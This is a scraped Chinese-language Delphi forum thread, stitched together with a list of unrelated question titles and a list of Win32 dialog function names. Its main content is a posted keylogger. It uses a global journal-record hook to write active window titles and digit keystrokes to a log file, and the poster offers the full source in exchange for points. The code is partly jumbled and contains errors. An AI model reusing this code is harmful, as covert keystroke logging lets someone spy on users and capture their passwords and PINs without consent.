关注,我也想知道!
kingron能不能给段代码?
kingron能不能给段代码?
解决方案 »
- 如何获得fkLookup类型的字段sum值?
- 读取DBF文件时,遇到数字字段大小的问题!!!!(高分求解)
- sql 语句在delphi中的应用!!在线等
- 开发组件时遇到的小问题,不知道怎么解决,请大家帮忙了!!!
- 在installshield下实现sqlserver数据库安装时,调用一个带参数的DOS命令的语法问题。
- 跳出一个过程是用close还是quit?
- 数据查询问题,请指教
- 对于DELPHI或者ERP很熟悉的高手请进!
- 一个可悲的结论!
- 小問題,TiniFile有Create,怎麼沒有open,該如何open??
- ++++++如何修改DBNavigator的颜色?++++
- ++++偶快毕业了,现在在找毕业设计的题目,那位老兄帮帮出个题!难度适中就可以了!谢谢!!++++
DialogBox
DialogBoxIndirect
DialogBoxIndirectParam
DialogBoxParam
CreateDialog
CreateDialogIndirect
CreateDialogIndirectParam
CreateDialogParam
function JournalLogProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):longint;stdcall;
var
i:integer;
hFocus:HWND; //保存当前活动窗口句柄
vKey:integer; //取得虚拟键值
szTitle: array [0..256] of char; //当前窗口名称
szTime: string;//array [0..128] of char; //当前的日期和时间
msg:PEventMsg;
logfile:textfile;
iShift,icapital,inumlock:integer;
bshift,bcapital,bnumlock:bool;
ch:char;
begin
result:=0;
if iCode<0 then
Result:=CallNextHookEx(g_hLogHook,iCode,wParam,lParam); if icode = HC_ACTION then begin
msg:=pEVENTMSG(lParam); if not FileExists('logfile.txt') then
begin
FileCreate('logfile.txt');
end;
assignfile(logfile,'logfile.txt');
append(logfile); if msg.message = WM_KEYDOWN then begin
vKey:=LOBYTE(MSG.paramL); //取得虚拟键值
hFocus:=GetActiveWindow(); //当前窗口的句柄
if g_hLastFocus<>hFocus then begin
GetWindowText(hFocus,szTitle,256);//取当前窗口的标题
g_hLastFocus:=hFocus;
szTime:=DateTimeToStr(Now());
writeln(logfile,sztime+' '+sztitle);//记录当前窗口的标题 iShift:=GetKeyState(VK_SHIFT);
iCapital:=GetKeyState(VK_NUMLOCK);
iNumLock:=GetKeyState(VK_NUMLOCK);
bShift:=(iShift and KeyPressMask) = KeyPressMask;
bCapital:=(iCapital and 1)=1;
bNumLock:=(iNumLock and 1)=1; if(vKey>=48) and (vKey<=57) then //数字键0-9
begin
//if not bShift then
case (vKey) of
49: ch:='1'; 50: ch:='2'; 51: ch:='3'; 52: ch:='4'; 53: ch:='5'; 54: ch:='6'; 55: ch:='7'; 56: ch:='8'; 57: ch:='9'; 48: ch:='0';
end;
writeln(logfile,ch);
//writeln(logfile,vkey)
end; end;
end;
//
Flush(logfile);
closefile(logfile);
end;
//dispose(Msg);
Result:=CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
//hook
end;//..............................................................................procedure TForm1.BitBtn1Click(Sender: TObject);
begin
//安装日志钩子
if g_hLogHook = 0 then
g_hLogHook:=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);end;
这样可以记录下每一个窗体
各我分我给你原码